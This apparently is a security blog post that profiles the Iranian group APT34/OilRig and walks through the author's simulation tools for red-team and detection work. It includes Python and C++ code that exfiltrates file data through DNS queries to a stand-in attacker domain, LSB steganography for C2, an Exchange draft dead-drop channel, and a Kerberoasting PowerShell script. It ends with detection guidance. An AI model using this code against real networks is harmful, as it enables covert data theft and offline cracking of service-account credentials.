Helix Kitten / APT34

Origin: Iran — MOIS (Ministry of Intelligence & Security)

Aliases: OilRig, COBALT GYPSY, IRN2, Hazel Sandstorm, Crambus

Active Since: 2014 (publicly attributed 2017)

Targets: Energy, Government, Financial, Telecommunications — Middle East, US, Europe

Focus Areas: DNS Tunneling, Steganography, Exchange Dead-Drop C2, Credential Harvesting

Overview

APT34 is Iran's most technically sophisticated cyber espionage unit. While other APTs rely on speed or destructive payloads, OilRig is built around patience. Their operations run for months or years inside target networks, using communication channels specifically designed to be invisible to standard monitoring: DNS queries that carry data in subdomain labels, commands hidden in the pixel values of BMP images, and C2 instructions stored as unsent email drafts in compromised Exchange mailboxes.

In 2023-2024, APT34 launched campaigns against government agencies across the Middle East using a new backdoor called Menorah, and deployed an updated DNS tunneling tool against telecommunications companies. They also targeted Albanian government infrastructure following diplomatic tensions, demonstrating their willingness to conduct destructive operations when politically motivated.


MITRE ATT&CK Mapping

Tactic Technique Simulation Tool
Command & Control T1071.004 — DNS Tunneling (RFC 1035 implementation) dns_c2_server.py
Command & Control T1071.003 — Exchange EWS Dead-Drop C2 exchange_deadrop.py
Exfiltration T1048.003 — DNS Exfiltration (subdomain encoding) dns_exfil.cpp
Defense Evasion T1027.003 — Steganography (BMP/PNG LSB encoding) steganography.py
Credential Access T1558.003 — Kerberoasting (SPN enumeration) kerberoast.ps1
Discovery T1087.002 — Domain Account Enumeration via LDAP kerberoast.ps1

DNS Tunneling: Hiding in Plain Sight

Every organization generates thousands of DNS queries per minute. APT34 recognized that DNS is the one protocol you can't block — it's required for literally everything to work. Their DNS C2 channel embeds commands and stolen data inside the queries themselves, using subdomain labels as a data transport.

I built the DNS server from scratch per RFC 1035, constructing packets at the byte level. Each DNS query carries about 30 bytes of hex-encoded data as subdomain labels. The query format maps data into the hierarchical domain structure:

# DNS query structure used for data exfiltration # Format: {hex_data}.{seq}.{session_id}.{domain} # # Example query: # 686f73746e616d653d574f524b.0.a3f8b2c1.update.example.com # ^^^^^^^^^^^^^^^^^^^^^^^^^ ^ ^^^^^^^^ ^^^^^^^^^^^^^^^^^^ # hex-encoded stolen data seq session attacker domain # # Response carries commands encoded the same way def build_dns_query(self, data_chunk, seq_num, session_id): """Construct raw DNS query packet per RFC 1035""" # Transaction ID — random 16-bit value txn_id = struct.pack('!H', random.randint(0, 0xFFFF)) # Flags: standard query, recursion desired flags = struct.pack('!H', 0x0100) # Question count: 1 header = txn_id + flags + struct.pack('!HHHH', 1, 0, 0, 0) # Encode domain name in DNS wire format: length-prefixed labels labels = [ data_chunk.hex(), # Data payload str(seq_num), # Sequence number session_id, # Session identifier 'update', 'example', 'com' # Domain ] qname = b'' for label in labels: qname += struct.pack('!B', len(label)) + label.encode() qname += b'\x00' # Root label terminator # QTYPE=TXT (0x0010), QCLASS=IN (0x0001) question = qname + struct.pack('!HH', 0x0010, 0x0001) return header + question

At 30 bytes per query, exfiltrating a 1MB file would take ~35,000 queries. Slow? Absolutely. But distributed over days, at randomized intervals of 30-120 seconds, that's 290-1000 queries per day — which disappears into the noise of normal DNS traffic. Most SIEM rules won't flag this because each individual query looks like a perfectly legitimate DNS resolution.

Detection requires DNS analytics that measure subdomain entropy (random hex strings have much higher Shannon entropy than real hostnames) and query frequency patterns per unique base domain.


Steganography: Commands in Pixels

APT34 uses steganography to hide C2 commands inside image files that are served from legitimate-looking websites. The implant downloads what appears to be a normal company logo or stock photo, but the least significant bits of the pixel values contain encoded commands.

The simulation implements LSB (Least Significant Bit) encoding for both BMP and PNG formats. For BMP, the encoding is straightforward — modify the LSB of each color channel byte. PNG requires additional handling because of the compression layer, but the principle is identical. A 1920x1080 BMP image can carry approximately 760KB of hidden data.

# LSB steganography — encode data in image pixel values def encode_message(image_path, message, output_path): img = Image.open(image_path) pixels = list(img.getdata()) width, height = img.size # Convert message to binary binary_msg = ''.join(format(b, '08b') for b in message.encode()) binary_msg += '00000000' * 4 # Null terminator (4 bytes) if len(binary_msg) > len(pixels) * 3: raise ValueError("Message too large for image") encoded_pixels = [] bit_idx = 0 for pixel in pixels: new_pixel = list(pixel[:3]) # RGB channels only for channel in range(3): if bit_idx < len(binary_msg): # Replace LSB of each color channel new_pixel[channel]=(new_pixel[channel] & 0xFE) | int(binary_msg[bit_idx]) bit_idx +=1 encoded_pixels.append(tuple(new_pixel)) # Write modified image — visually identical to original encoded_img=Image.new(img.mode, (width, height)) encoded_img.putdata(encoded_pixels) encoded_img.save(output_path)

The brilliance of this approach: network monitoring sees a standard HTTPS GET request for a JPEG/PNG file from a legitimate-looking domain. Content inspection reveals a valid image file. There's no encrypted blob, no suspicious header, nothing to flag. Detection requires comparing downloaded images against known-clean originals (a technique called steganalysis) or statistical analysis of LSB distribution patterns.


Exchange Dead-Drop C2

This was the most unusual C2 channel to build. APT34 authenticates to a compromised organization's OWA (Outlook Web Access) instance, creates email drafts containing commands, and the implant reads those drafts via EWS (Exchange Web Services) SOAP requests. No email is ever sent — there's no mail flow, no SMTP traffic, no delivery headers to analyze.

The challenge was implementing NTLM authentication from scratch. EWS requires NTLM, which means constructing the Type 1 (Negotiate) message with proper flags, parsing the Type 2 (Challenge) response to extract the server challenge, and building the Type 3 (Authenticate) message with NTLMv2 hash computation using HMAC-MD5:

# NTLM Type 1 message construction def build_negotiate_message(self): signature = b'NTLMSSP\x00' msg_type = struct.pack('

Once authenticated, the C2 loop is deceptively simple: create a draft email with a base64-encoded command in the subject line, wait for the implant to read it and delete it, then check for a new draft containing the results. All of this happens through standard EWS SOAP over HTTPS — the same protocol that every Outlook client uses.


DNS Exfiltration Tool (C++)

The C++ exfiltration tool is the high-performance counterpart to the Python DNS server. It reads files from disk, chunks them into segments that fit within DNS label length limits (63 bytes per label, 253 bytes total), hex-encodes each chunk, and constructs UDP DNS packets directly using Winsock. No DNS library dependencies — raw socket operations for minimal footprint.

// Construct and send DNS query with embedded data void exfil_chunk(SOCKET sock, const char* data, int seq, const char* session, const char* domain) { unsigned char packet[512]; int offset = 0; // DNS Header: random txn_id, standard query, 1 question uint16_t txn_id = rand() & 0xFFFF; packet[offset++] = txn_id >> 8; packet[offset++] = txn_id & 0xFF; // Flags: 0x0100 (standard query, RD=1) packet[offset++] = 0x01; packet[offset++] = 0x00; // QDCOUNT=1, ANCOUNT=0, NSCOUNT=0, ARCOUNT=0 packet[offset++] = 0x00; packet[offset++] = 0x01; memset(&packet[offset], 0, 6); offset += 6; // Encode labels: {hex_data}.{seq}.{session}.{domain} char hex_data[128]; bytes_to_hex(data, hex_data); offset += encode_label(packet + offset, hex_data); offset += encode_label(packet + offset, itoa(seq)); offset += encode_label(packet + offset, session); // Domain labels offset += encode_domain(packet + offset, domain); packet[offset++] = 0x00; // Root terminator // QTYPE=TXT, QCLASS=IN put_uint16(packet + offset, 0x0010); offset += 2; put_uint16(packet + offset, 0x0001); offset += 2; sendto(sock, (char*)packet, offset, 0, (sockaddr*)&dns_addr, sizeof(dns_addr)); }

Active Directory: Kerberoasting

Once inside a network, APT34 targets Active Directory service accounts via Kerberoasting. The PowerShell module enumerates Service Principal Names (SPNs) via LDAP, requests TGS tickets for each discovered service account, and extracts the encrypted ticket portion for offline cracking with Hashcat.

The key detail: any authenticated domain user can request a TGS ticket for any SPN — it's by design in Kerberos. The tickets are encrypted with the service account's password hash, so weak passwords can be cracked offline without generating any failed login events. It's one of the most effective privilege escalation paths in Active Directory environments.

# Enumerate SPNs and request TGS tickets $searcher = New-Object DirectoryServices.DirectorySearcher $searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))" $searcher.PropertiesToLoad.AddRange(@( "samaccountname", "serviceprincipalname", "memberof" )) $results = $searcher.FindAll() foreach ($result in $results) { $username = $result.Properties["samaccountname"][0] $spn = $result.Properties["serviceprincipalname"][0] # Request TGS ticket — any domain user can do this Add-Type -AssemblyName System.IdentityModel $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ` -ArgumentList $spn # Extract ticket bytes for offline cracking $ticketBytes = $ticket.GetRequest() $hexTicket = [BitConverter]::ToString($ticketBytes) -replace '-' # Output in Hashcat-compatible format ($krb5tgs$23$) Write-Output "$('$krb5tgs$23$')$username`$$domain`$$spn`$$hexTicket" }

Detection Guidance

Key Challenge: APT34's channels are designed to be invisible to standard monitoring. DNS queries look normal individually, steganographic images pass content inspection, and Exchange draft operations generate minimal logging by default.

What to hunt for:

1. DNS queries with high subdomain entropy (Shannon entropy > 3.5 for the leftmost label)
2. Unusually high volume of TXT record queries to a single base domain
3. Exchange EWS operations creating and deleting drafts at regular intervals (enable mailbox audit logging)
4. Image downloads followed by unusual process behavior (steganographic payload extraction)
5. Kerberos TGS requests (Event ID 4769) for multiple SPNs from a single workstation in a short window
6. LDAP queries enumerating servicePrincipalName attributes across all user objects

Full simulation code available on GitHub.